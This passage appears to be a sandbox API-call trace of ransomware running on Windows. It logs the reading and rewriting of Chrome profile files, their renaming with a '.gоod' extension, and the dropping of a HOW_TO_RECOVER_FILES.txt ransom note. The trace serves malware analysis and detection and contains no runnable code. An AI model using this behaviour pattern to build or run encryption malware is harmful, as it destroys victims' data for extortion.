lpOverlapped=0x0 | out: lpBuffer=0x37e0000*, lpNumberOfBytesWritten=0x208edd38*=0x140, lpOverlapped=0x0) returned 1 [0231.711] CloseHandle (hObject=0x82c) returned 1 [0231.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", lpFilePart=0x0) returned 0x4c [0231.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG.gоod", lpFilePart=0x0) returned 0x51 [0231.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ede60) returned 1 [0231.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\log"), fInfoLevelId=0x0, lpFileInformation=0x208edf40 | out: lpFileInformation=0x208edf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8651c726, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1 [0231.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede20) returned 1 [0231.711] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\log.gоod")) returned 1 [0231.712] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", lpFilePart=0x0) returned 0x58 [0231.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edea0) returned 1 [0231.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x37e12c0 | out: lpFileInformation=0x37e12c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x514606bb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1 [0231.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede60) returned 1 [0231.712] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", lpFilePart=0x0) returned 0x58 [0231.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0231.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.713] GetFileType (hFile=0x82c) returned 0x1 [0231.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0231.713] GetFileType (hFile=0x82c) returned 0x1 [0231.713] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208edef8 | out: lpFileSizeHigh=0x208edef8*=0x0) returned 0x29 [0231.713] ReadFile (in: hFile=0x82c, lpBuffer=0x37e15e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ede28, lpOverlapped=0x0 | out: lpBuffer=0x37e15e8*, lpNumberOfBytesRead=0x208ede28*=0x29, lpOverlapped=0x0) returned 1 [0231.714] CloseHandle (hObject=0x82c) returned 1 [0234.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", lpFilePart=0x0) returned 0x58 [0234.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0234.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\manifest-000001"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0234.579] GetFileType (hFile=0x858) returned 0x1 [0234.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0234.579] GetFileType (hFile=0x858) returned 0x1 [0234.579] WriteFile (in: hFile=0x858, lpBuffer=0x3887fb8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x208edd38, lpOverlapped=0x0 | out: lpBuffer=0x3887fb8*, lpNumberOfBytesWritten=0x208edd38*=0x30, lpOverlapped=0x0) returned 1 [0234.580] CloseHandle (hObject=0x858) returned 1 [0234.580] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001", lpFilePart=0x0) returned 0x58 [0234.580] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001.gоod", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001.gоod", lpFilePart=0x0) returned 0x5d [0234.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ede60) returned 1 [0234.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x208edf40 | out: lpFileInformation=0x208edf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x88091fc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0234.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede20) returned 1 [0234.580] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\manifest-000001"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\MANIFEST-000001.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\manifest-000001.gоod")) returned 1 [0234.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0234.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0234.582] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0235.043] GetFileType (hFile=0x82c) returned 0x1 [0235.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0235.043] GetFileType (hFile=0x82c) returned 0x1 [0235.654] WriteFile (in: hFile=0x82c, lpBuffer=0x3af9b08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3af9b08*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0235.658] CloseHandle (hObject=0x82c) returned 1 [0235.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0235.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications", lpFilePart=0x0) returned 0x4e [0235.658] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56cf52f5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56cf52f5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0235.659] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56cf52f5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56cf52f5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.659] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 1 [0235.659] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 0 [0235.659] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0235.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0235.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0235.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0235.660] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications", lpFilePart=0x0) returned 0x4e [0235.660] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56cf52f5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56cf52f5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0235.660] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56cf52f5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56cf52f5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.660] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 1 [0235.660] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0235.660] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0235.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0235.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0235.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0235.661] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake", lpFilePart=0x0) returned 0x74 [0235.661] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0235.661] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.661] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d10098, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d10098, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d175da, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x28df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1 [0235.661] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d93e5c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico.md5", cAlternateFileName="GOOGLE~1.MD5")) returned 1 [0235.661] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0235.661] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0235.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0235.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0235.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0235.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake", lpFilePart=0x0) returned 0x74 [0235.662] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0235.662] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.662] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d10098, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d10098, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d175da, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x28df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1 [0235.662] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d93e5c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico.md5", cAlternateFileName="GOOGLE~1.MD5")) returned 1 [0235.662] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d93e5c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico.md5", cAlternateFileName="GOOGLE~1.MD5")) returned 0 [0235.663] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0235.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0235.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0235.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", lpFilePart=0x0) returned 0x84 [0235.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0235.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), fInfoLevelId=0x0, lpFileInformation=0x3b18648 | out: lpFileInformation=0x3b18648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d10098, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d10098, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d175da, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x28df6)) returned 1 [0235.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0235.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", lpFilePart=0x0) returned 0x84 [0235.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0235.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0235.664] GetFileType (hFile=0x82c) returned 0x1 [0235.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0235.664] GetFileType (hFile=0x82c) returned 0x1 [0235.664] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x208ed4c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x208ed4c8*=0) returned 0x1000 [0235.665] ReadFile (in: hFile=0x82c, lpBuffer=0x3b18b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed498, lpOverlapped=0x0 | out: lpBuffer=0x3b18b60*, lpNumberOfBytesRead=0x208ed498*=0x1000, lpOverlapped=0x0) returned 1 [0235.666] CloseHandle (hObject=0x82c) returned 1 